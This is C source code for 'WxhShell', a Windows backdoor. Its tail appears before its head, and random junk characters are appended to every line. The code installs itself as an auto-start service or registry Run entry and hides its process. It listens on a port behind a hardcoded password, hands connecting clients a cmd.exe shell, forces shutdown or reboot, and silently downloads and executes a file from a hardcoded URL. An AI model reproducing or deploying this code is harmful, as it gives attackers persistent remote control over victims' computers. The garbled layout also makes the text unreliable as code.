  // 关机 0!o&=Qh  
  case 'd': { \=v7'Hp  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XUfj 0  
    if(Boot(SHUTDOWN)) "]JE]n}Ulg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v$p<6^kJ  
    else { U%"c@%B0  
    closesocket(wsh); BM& 95p   
    ExitThread(0); ~0 >g 4 D.  
    } ?Q="w5OOD  
    break; 8<Asg2]6  
    } -uqJ~gD  
  // 获取shell Hwklk9U  
  case 's': { [IF3 ,C  
    CmdShell(wsh); '{QbjG%<P  
    closesocket(wsh); 4Wk/^*?  
    ExitThread(0); 6Y)'p .+g  
    break; [ahD%UxO5  
  } K SDo)7`  
  // 退出 ^F5[2<O/!  
  case 'x': { aRdk^|}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #,Fk  
    CloseIt(wsh); f}Eoc>n  
    break; i|*(vH&D.  
    } P-ys$=  
  // 离开 -wvrc3F  
  case 'q': { NwIl~FNK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zIf/jk  
    closesocket(wsh); J1YP-:  
    WSACleanup(); ,m{Zn"?kS  
    exit(1); (ST />")L  
    break; M,8a$Mdqh  
        } fBR,Oneo  
  } I{JU<A,&  
  } 8GN0487H  
gnlGL[r|  
  // 提示信息 b4Zkj2L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HY~\e|o  
} dMCV !$  
  } @E{c P%fv  
vK!,vKa.  
  return; F/tBr%RV  
} 4gG&u33RrE  
GQ[: vX`  
// shell模块句柄 K!7o#"GM  
int CmdShell(SOCKET sock) 25XD fi75  
{ I5wf|wB-  
STARTUPINFO si; |t1D8){!  
ZeroMemory(&si,sizeof(si)); ~=aGv%vX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q 6{2@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eA$9)K1GO  
PROCESS_INFORMATION ProcessInfo; J~V`"uo  
char cmdline[]="cmd"; e57}.pF^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IfF<8~~E  
  return 0; 3:&!Q*i;  
} -8HIsRh  
~!E% GCyFy  
// 自身启动模式 6c^2Nl8e  
int StartFromService(void) QY8I_VF  
{ k]u0US9/  
typedef struct sHm|&  
{ *P5Xy@:  
  DWORD ExitStatus; %E3|b6k\  
  DWORD PebBaseAddress; <,(6*b  
  DWORD AffinityMask; X<Rh-1$8F  
  DWORD BasePriority; 4};iL)  
  ULONG UniqueProcessId; Y\(Q  
  ULONG InheritedFromUniqueProcessId; q{ n~v>wU  
}   PROCESS_BASIC_INFORMATION; 0\qbJ  
QxwZ$?w%  
PROCNTQSIP NtQueryInformationProcess; T?N' k=   
"(F>?pq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8wp)aGTcU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z'O$[6m6  
,+3l9FuQ  
  HANDLE             hProcess; KRd.Ubs -  
  PROCESS_BASIC_INFORMATION pbi; lRi-?I| ~9  
)a .w4dH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {# ;e{v  
  if(NULL == hInst ) return 0;  e-sMU  
_ M8Q%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !`hiXDk*2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  gG1%.q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  Xt(w+  
Q1mz~r  
  if (!NtQueryInformationProcess) return 0; d!{,[8&  
&[`p qX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |eAl!k  
  if(!hProcess) return 0; B=%cXW,  
 :J`:Q3@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l}j5EWe  
oZHsCQ%  
  CloseHandle(hProcess); SouPk/-B80  
@aN<nd`q)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n7i;^=9 mM  
if(hProcess==NULL) return 0; IFlDw}M!9  
3o9`Ko0  
HMODULE hMod; %L.,:mtq)  
char procName[255]; )?^0<l#s  
unsigned long cbNeeded; }\|$8~  
Lfx&DK !  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (5]<t&M  
F8$.K*tT  
  CloseHandle(hProcess); M&Sjo' ( .  
h`-aO u  
if(strstr(procName,"services")) return 1; // 以服务启动  poGF  
lsU|xOB  
  return 0; // 注册表启动 MLtfi{;LH  
} jY-{hW+r  
s+YQ :>F  
// 主模块 u3(zixb  
int StartWxhshell(LPSTR lpCmdLine) Q@6OIE  
{ G4{ zt3{  
  SOCKET wsl; zGHP{a1O7  
BOOL val=TRUE; j!B+Q  
  int port=0; B f~  
  struct sockaddr_in door; U=\ZeYK.  
x[U/ 8#f&  
  if(wscfg.ws_autoins) Install(); "X4OUk  
H{ p   
port=atoi(lpCmdLine); T~J6(,"  
~Os"dAgZFY  
if(port<=0) port=wscfg.ws_port; xbnx*4o0  
6Db1mvSe  
  WSADATA data; 1Y6<i8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }`E5I&r4  
Rx<m+=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2Vas`/~u~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `*mctjSN  
  door.sin_family = AF_INET; jq yqOhb4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *kY\,r&!P  
  door.sin_port = htons(port); AP' Uc A  
~McmlJzJG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7dyGC:YuTL  
closesocket(wsl); -D?T0>  
return 1; xQ\/6|  
} kE;h[No&K  
D+lzISp~e  
  if(listen(wsl,2) == INVALID_SOCKET) { +ObP[F  
closesocket(wsl); 7(rNJPrU~=  
return 1; [tGAo/  
} D^yZ!}Kl  
  Wxhshell(wsl); -'BC*fVr  
  WSACleanup(); 0ubT/  
6S)$wj*w  
return 0; CMB:%  
`% k9@k .  
} 6*8"?S'  
+dq&9N/  
// 以NT服务方式启动 ];i-d7C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ) (unL`y  
{ Tqz{{]%j~$  
DWORD   status = 0; :# s 6,  
  DWORD   specificError = 0xfffffff; bO]^TRaiJ  
#_0OYL`(mE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2a8ZU{wjn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vh5`R/<3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f2ygN6(>  
  serviceStatus.dwWin32ExitCode     = 0; 6SI`c+'@5  
  serviceStatus.dwServiceSpecificExitCode = 0; {XH!`\  
  serviceStatus.dwCheckPoint       = 0; @8E mY,{;  
  serviceStatus.dwWaitHint       = 0; 8 z0j}xY%  
smvIU0:K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Tj7OV}:  
  if (hServiceStatusHandle==0) return; 64 9{\;*4  
LsH&`G^<  
status = GetLastError(); A]L;LkEM  
  if (status!=NO_ERROR) s kC*  
{ #Jp_y|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !2R~/Rg  
    serviceStatus.dwCheckPoint       = 0; Ss6mN;&D  
    serviceStatus.dwWaitHint       = 0; ;U=IbK*  
    serviceStatus.dwWin32ExitCode     = status; Bd jo3eX  
    serviceStatus.dwServiceSpecificExitCode = specificError; *@/1]W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1Q"w)Ta  
    return; R#gt~]x6k  
  } nt. A X  
&?UIe]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -x)Oo`  
  serviceStatus.dwCheckPoint       = 0; AdBB#zd  
  serviceStatus.dwWaitHint       = 0; soh)IfZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @yiAi:v@  
} H~IR:WOw  
`>KB8SY:qK  
// 处理NT服务事件,比如:启动、停止 95LZG1]Rb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =?g26>dYo  
{ Z-X(. Q  
switch(fdwControl) bC*( ,n<'  
{ 6-#<*Pg  
case SERVICE_CONTROL_STOP: (3a]#`Q  
  serviceStatus.dwWin32ExitCode = 0; OXcQMVa 6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZGO% lkZ.  
  serviceStatus.dwCheckPoint   = 0; 0?OTa<c  
  serviceStatus.dwWaitHint     = 0; $I*ye+a*{q  
  { :cU6W2EV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I/4:SNha  
  } "2} {lu  
  return; <%w)EQf4m  
case SERVICE_CONTROL_PAUSE: uc;1{[5`1q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \GhL{Awv&a  
  break; S. my" j  
case SERVICE_CONTROL_CONTINUE: y"zgpqJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K;kaWV  
  break; +e VWTRG  
case SERVICE_CONTROL_INTERROGATE: _~~:@fy  
  break; wJ#fmQXKJ5  
}; WqQAt{W/<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &j=Fx F9o  
} n7-|\p!xP6  
z H$^.1  
// 标准应用程序主函数 6r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OBrbWXp@  
{ OXu*w l(z  
pT3p!/pl3  
// 获取操作系统版本 tuH8!.  
OsIsNt=GetOsVer(); Itq248+Ci  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7> ~70  
<[iw1>  
  // 从命令行安装 *Iy5 V7`KU  
  if(strpbrk(lpCmdLine,"iI")) Install(); MI8f(ZJK5  
ZqT8G  
  // 下载执行文件 R\DdU-k  
if(wscfg.ws_downexe) { 8 KDF*%7'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'dJ#NT25  
  WinExec(wscfg.ws_filenam,SW_HIDE); {Yq"%n'0  
} EJC{!06L'/  
)}ygzKEa  
if(!OsIsNt) { } U <T>0  
// 如果时win9x,隐藏进程并且设置为注册表启动 uWm,mGd9  
HideProc(); G bW1Lq&"  
StartWxhshell(lpCmdLine); t~_j+k0K#  
} `zf,$67>1  
else 2 I:x)  
  if(StartFromService()) %C8p!)Hu  
  // 以服务方式启动 BpL7s ej7  
  StartServiceCtrlDispatcher(DispatchTable); |#_IAN  
else Tfasry9'8  
  // 普通方式启动 hF m_`J&"  
  StartWxhshell(lpCmdLine); GD*rTtDWn  
]M^ k~Xa  
return 0; i/Zv@GF  
} vbFi# |EU  
yC%zX}5  
w=e_@^Fkx  
w5/`_m!  
=========================================== War<a#0  
bUv}({  
yg}zK>j^vC  
pF0sXvWGG  
Q=B>Q  
4Js2/s  
" ;/-v4  
{tS^Q*F  
#include <stdio.h> "&$ [@c  
#include <string.h> ^:krfXT  
#include <windows.h> hA?Flq2QV  
#include <winsock2.h> 0%x"Va~"z  
#include <winsvc.h> hM_0/o-  
#include <urlmon.h> [D;wB|+,  
n8h1S lK08  
#pragma comment (lib, "Ws2_32.lib") \!-IY  
#pragma comment (lib, "urlmon.lib") _LVwjZX[  
5hxG\f#}?  
#define MAX_USER   100 // 最大客户端连接数 _xKuEU}  
#define BUF_SOCK   200 // sock buffer R7'6#2y  
#define KEY_BUFF   255 // 输入 buffer +/"Ws '5E  
7hV9nuW  
#define REBOOT     0   // 重启 =2Vs))>Y  
#define SHUTDOWN   1   // 关机 mGZJ$|  
h?Y->!'  
#define DEF_PORT   5000 // 监听端口 c> SFt tbU  
5Z8Zb.  
#define REG_LEN     16   // 注册表键长度 I, 7~D!4G  
#define SVC_LEN     80   // NT服务名长度 ^|^ywgK  
E&;[E  
// 从dll定义API c<k=8P   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \@\r`=WgB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ajM3Uwnr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a:q>7V|%$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :| s  
y nue;*rM  
// wxhshell配置信息 %|"0p3  
struct WSCFG { E O.Se9ux  
  int ws_port;         // 监听端口 B|\JGnNQ  
  char ws_passstr[REG_LEN]; // 口令 m8jQ~OS  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]VKM3[   
  char ws_regname[REG_LEN]; // 注册表键名 tfKf*Um  
  char ws_svcname[REG_LEN]; // 服务名 a*hWODYn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yr;~M{{4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q>ZxJ!B<k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VtTTvP3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ym% $!#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9#;GG3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?&gqGU}  
3p+V~n.+  
}; TTDcVG_}  
y 4 wV]1  
// default Wxhshell configuration ?IN'Dc9&%-  
struct WSCFG wscfg={DEF_PORT, R^p'gQc$   
    "xuhuanlingzhe", &b__ /o  
    1, p&s~O,Bw$  
    "Wxhshell", TmS-w  
    "Wxhshell", 4Eri]O Ri  
            "WxhShell Service", ^ gMkQYo(#  
    "Wrsky Windows CmdShell Service", *XU2%"Sc  
    "Please Input Your Password: ", $q$G  
  1, X_3*DqY  
  "http://www.wrsky.com/wxhshell.exe", -n:~m p  
  "Wxhshell.exe" yjF;%A/0  
    }; *+ i1m `6Q  
Y:?cWO  
// 消息定义模块 \4`:~c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5wE+p<-KX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JI3x^[(Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #NyfE|MKBC  
char *msg_ws_ext="\n\rExit."; DXa!"ZU  
char *msg_ws_end="\n\rQuit."; iJ&jg`"=F  
char *msg_ws_boot="\n\rReboot..."; P Nf_{4  
char *msg_ws_poff="\n\rShutdown..."; Nc da~h Q  
char *msg_ws_down="\n\rSave to "; g7UZtpLTm  
XfYbWR  
char *msg_ws_err="\n\rErr!"; MwuRxeRO-  
char *msg_ws_ok="\n\rOK!"; mfW}^mu  
ufF>I  
char ExeFile[MAX_PATH]; L*8U.{NY  
int nUser = 0; [yhK4A  
HANDLE handles[MAX_USER]; mEZHrr J  
int OsIsNt; 3|0wD:Dy  
@zC p/fo3  
SERVICE_STATUS       serviceStatus; d:vuRK4+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u\A L`'v  
7W MF8(j5  
// 函数声明 Oxp!G7qfo  
int Install(void); "- ?uB Mz  
int Uninstall(void); T Ob(  
int DownloadFile(char *sURL, SOCKET wsh); sd5)We  
int Boot(int flag); ]3\%i2NM  
void HideProc(void); "!B\c9q  
int GetOsVer(void); gTQc=,3l3  
int Wxhshell(SOCKET wsl); jhJ'fI  
void TalkWithClient(void *cs); FX  %(<M  
int CmdShell(SOCKET sock); !jTxMf  
int StartFromService(void); h}U>K4BJ  
int StartWxhshell(LPSTR lpCmdLine);  ?8/T#ox  
*UZd !a)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !{+a2wi  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QPyHos `  
dJ 9v/k_  
// 数据结构和表定义 .WVIdVO7  
SERVICE_TABLE_ENTRY DispatchTable[] = r [E4/?_  
{ wVmQE  
{wscfg.ws_svcname, NTServiceMain}, ?Q[b1:;Lm  
{NULL, NULL} xG1(vn83gq  
}; ( }RJW:  
 3+/^  
// 自我安装 u- }@^Y$M  
int Install(void) ,@]*Xgt=  
{ v8y !zo'  
  char svExeFile[MAX_PATH]; i)!+`w*Y  
  HKEY key; 0aqq*e'c  
  strcpy(svExeFile,ExeFile); Y D,<]q%  
|4j'KM;U  
// 如果是win9x系统,修改注册表设为自启动 bIXD(5y  
if(!OsIsNt) { aT~=<rEDy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w+Y_TJ%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dAr=X4LE  
  RegCloseKey(key); O9P4r*prA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0<)Ep~!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [85b+SKW  
  RegCloseKey(key); emMk*l,  
  return 0; lyzM?lK-  
    } .3CQFbHF  
  } r`Bm" xI  
} (-Qr.t_B`  
else { Rr0]~2R  
pM-mZ/?  
// 如果是NT以上系统,安装为系统服务 8wLGmv^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j 6dlAe  
if (schSCManager!=0) wD92Ava   
{ "#.L\p{Zy  
  SC_HANDLE schService = CreateService +TC##}Zmb  
  ( Rjn%<R2nW  
  schSCManager, !q1XyQX  
  wscfg.ws_svcname, E^B3MyS^^  
  wscfg.ws_svcdisp, \HL66%b[  
  SERVICE_ALL_ACCESS, bH g 0,N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tkP& =$  
  SERVICE_AUTO_START, )S9}uOG#  
  SERVICE_ERROR_NORMAL, `4,]Mr1b  
  svExeFile, zgl$ n  
  NULL, $wcTUl  
  NULL, ;o?o92d  
  NULL, ui80}%  
  NULL, p{x6BVw?>  
  NULL Gce[RB:  
  ); -XfGF<}r  
  if (schService!=0) F8xu&Vk0:  
  { e8&7W3 m  
  CloseServiceHandle(schService); a5/r|BiBK  
  CloseServiceHandle(schSCManager); (_R!:H(]m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w19OOD  
  strcat(svExeFile,wscfg.ws_svcname); w>4( hGO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^ f[^.k$3d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y/>Nx7C0=2  
  RegCloseKey(key); BKK@_B"  
  return 0; *rVI[k L  
    } 63'L58O  
  } 5R6QZVc  
  CloseServiceHandle(schSCManager); 7#j9"*  
} nK`H;k  
} U45-R -  
P! P` MX  
return 1; DAy|'%rF1-  
} Mehp]5*  
*i"Mu00b  
// 自我卸载 p\}!uS4 (  
int Uninstall(void) l-2lb&n  
{ E(*S]Z[  
  HKEY key; & j*Ylj}  
{KSy I#  
if(!OsIsNt) { BkB9u&s^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X=? \A{Y  
  RegDeleteValue(key,wscfg.ws_regname); | Pqs)Mb]  
  RegCloseKey(key); ypNeTR$4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ; hU9_e  
  RegDeleteValue(key,wscfg.ws_regname); i "aQm  
  RegCloseKey(key); .uB[zJc  
  return 0; C't%e  
  } 6n/KL  
} rS0#]Gg  
} Hp@cBj_@P2  
else { *fSX3Dk  
X{iidTW`xv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @ev^e !B  
if (schSCManager!=0) PiLLUyQx  
{ a YY1*^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u4xJ-Vu  
  if (schService!=0) lUiO|  
  { `FK qVd  
  if(DeleteService(schService)!=0) { 'i;ofJ[.c  
  CloseServiceHandle(schService); o3`0x9{  
  CloseServiceHandle(schSCManager); d>/4z#R}-  
  return 0; z'zC  
  } r#d]"3tH  
  CloseServiceHandle(schService); Xy9'JVV6  
  } h1#l12k^'  
  CloseServiceHandle(schSCManager); U+ uIuhz  
} OA7=kH@3c  
} %5;kNeD\Fq  
)+.AgqxI  
return 1; "WqM<kLa  
} qz 29f  
hDbZ62DDN  
// 从指定url下载文件 1?r$Rx<R  
int DownloadFile(char *sURL, SOCKET wsh) |[!0ry*N%  
{ xRF_'|e  
  HRESULT hr; ?h8/\~Dw  
char seps[]= "/"; yCv"(fNQ  
char *token; FWo`oJeN  
char *file; &A^2hPe}  
char myURL[MAX_PATH]; 7>gW2 m  
char myFILE[MAX_PATH]; WX+@<y}%  
t5QGXj  
strcpy(myURL,sURL); FYK}AR<=  
  token=strtok(myURL,seps); ve4 QS P  
  while(token!=NULL) *T{KpiuP  
  { Q8DKU  
    file=token; )EG-xo@X  
  token=strtok(NULL,seps); xH-} <7  
  } 5;9.&f  
iz-O~T/^  
GetCurrentDirectory(MAX_PATH,myFILE); )Y?E$=M +B  
strcat(myFILE, "\\"); ;8gODj:dO  
strcat(myFILE, file); +*RpOtss  
  send(wsh,myFILE,strlen(myFILE),0); +@PZ3 [s  
send(wsh,"...",3,0); K=2j}IPe  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3iiOxg?j  
  if(hr==S_OK) n4 Y ]v  
return 0; l_x>.'a  
else h#8 {fr)6  
return 1; s'@@q  
]j(Ld\:L  
} dRTpGz  
VE/~tT;  
// 系统电源模块 6.4,Qae9E  
int Boot(int flag) )sapUnqrlR  
{ \g|;7&%l3  
  HANDLE hToken; C%'eF`  
  TOKEN_PRIVILEGES tkp; qj?I*peK)  
wJF$<f7P  
  if(OsIsNt) { 9a.[>4}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); td+[Na0d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1z[blNs&  
    tkp.PrivilegeCount = 1; tQ4{:WPG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Zn'y"@%t[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T0}P 'q  
if(flag==REBOOT) { ~0n9In%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Jaf=qwZ/`  
  return 0; j0jam:.p  
} PvdR)ZE m  
else { Fw;Y)y=O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *Xd_=@L&B  
  return 0; O0"&wvR+5  
} i)e)FhEY6  
  } O11.wLNH  
  else { "?sLi  
if(flag==REBOOT) { E9[8th,t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '?!2h'  
  return 0; H %PIE1_  
} Q_a%$a.rV  
else { Y'%_--  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^F1zkIE  
  return 0; :Ee5:S   
} fKT(.VN q5  
} GgjBLe=C  
@i:_ JOl  
return 1; VAR/"  
} 6UJBE<ntj  
K#p&XIY,  
// win9x进程隐藏模块 FdJC@Y-#uA  
void HideProc(void) ?|Mmz@  
{ k4 %> F  
L:EJ+bNG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *'(dcy9  
  if ( hKernel != NULL ) :Zd# }P  
  { wwmODw<tT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DSHpM/7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5 *>3(U  
    FreeLibrary(hKernel);  ?hpk)Qu  
  } XC{(O:EG  
}c,}+{q  
return; iJE|u  
} 'C*NyHc  
-/&6}lD  
// 获取操作系统版本 VbX$i!>8  
int GetOsVer(void) `o*g2fW!  
{ |wj/lX7y  
  OSVERSIONINFO winfo; >Y< y]vM:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2jx+q  
  GetVersionEx(&winfo); z95V 7E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Bf88f<Z  
  return 1; Qi7^z;  
  else J0|}u1? l  
  return 0; w G Q{  
} Dl/_jM  
73(T+6`  
// 客户端句柄模块 "$8<\k$LGT  
int Wxhshell(SOCKET wsl) et]*5Y6  
{ ;3sT>UB  
  SOCKET wsh; U^0vLyqW^5  
  struct sockaddr_in client; 6YU2  !x  
  DWORD myID; [%nG_np  
0QIocha  
  while(nUser<MAX_USER) emS+%6U  
{ k*c:%vC!  
  int nSize=sizeof(client); [I4FU7mpH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cuk2\> Xl  
  if(wsh==INVALID_SOCKET) return 1; Nd!2 @?V4  
"x$S%:p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .Na>BR\F  
if(handles[nUser]==0) NV-9C$<n2!  
  closesocket(wsh); ,em6wIq,  
else pr0V)C6  
  nUser++; t1Khf  
  } e#HP+b$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r rwsj`  
(Fgt#H(B  
  return 0; Nyqm0C6m^  
} X)f"`$  
|f?C*t',  
// 关闭 socket *u{.K:.I  
void CloseIt(SOCKET wsh) 1v\-jM"  
{ M9OFK\)  
closesocket(wsh); T*T.\b  
nUser--; Z%OSW  
ExitThread(0); >;3c; nf  
} >6DY3\  
hy)RV=X  
// 客户端请求句柄 xf]4!zE  
void TalkWithClient(void *cs) VD#^Xy4% r  
{ !d0@^JbM"  
Xp?Z;$r$  
  SOCKET wsh=(SOCKET)cs; a@jP^VVk  
  char pwd[SVC_LEN]; VD3[ko  
  char cmd[KEY_BUFF]; T&23Pf1  
char chr[1]; rzBWk  
int i,j; Csc2yI%3  
1aT$07G0  
  while (nUser < MAX_USER) { d|NNIf  
"DN`@  
if(wscfg.ws_passstr) { 3CHte*NL=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QF>[cdl?8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BVNh>^W5B  
  //ZeroMemory(pwd,KEY_BUFF); Ul'G g  
      i=0; )w` Nkx  
  while(i<SVC_LEN) { 3z#;0n}  
%ej"ZeM  
  // 设置超时 BmJ?VJ}Y  
  fd_set FdRead; r#}Sy \  
  struct timeval TimeOut; 8say"Qz  
  FD_ZERO(&FdRead); Q8~pIv  
  FD_SET(wsh,&FdRead); q%vUEQLBp  
  TimeOut.tv_sec=8; -)I_+N  
  TimeOut.tv_usec=0; ,/ : )FV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t3XMQ']  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zLn#p]  
|5/[0V-vy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n{yjH*\Z  
  pwd=chr[0]; *sG<w%%  
  if(chr[0]==0xd || chr[0]==0xa) { -/qrEKQ0U?  
  pwd=0; FT enXJ/c  
  break; dCK -"#T!  
  } ]/'] {*T1  
  i++; D_)vGvv3;.  
    } T:&+#0<  
N.`]D)57  
  // 如果是非法用户,关闭 socket I(CI')Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,i,=LGn  
} nJya1AH;  
Z7/dRc   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <XagkD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m&%b;%,J  
\nyFN  
while(1) { bcs!4  
X m3t xp#  
  ZeroMemory(cmd,KEY_BUFF); mC7Y *  
Wd}mC<rv1  
      // 自动支持客户端 telnet标准   )pLq^j  
  j=0; e`rY]X  
  while(j<KEY_BUFF) { RVsNr rZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M Sj0D2H  
  cmd[j]=chr[0]; 7a<qP=J  
  if(chr[0]==0xa || chr[0]==0xd) { N [u Xo  
  cmd[j]=0; -CrZ'k;4  
  break; y {]%,  
  } Chup %F  
  j++; |@HdTGD  
    } 7e<Q{aB  
I@ k8^  
  // 下载文件 K5lp -F  
  if(strstr(cmd,"http://")) { F%d"gF0qu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;^*!<F%t9R  
  if(DownloadFile(cmd,wsh)) `Vi:r9|P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); iPOZ{'Z  
  else ka3 Z5  
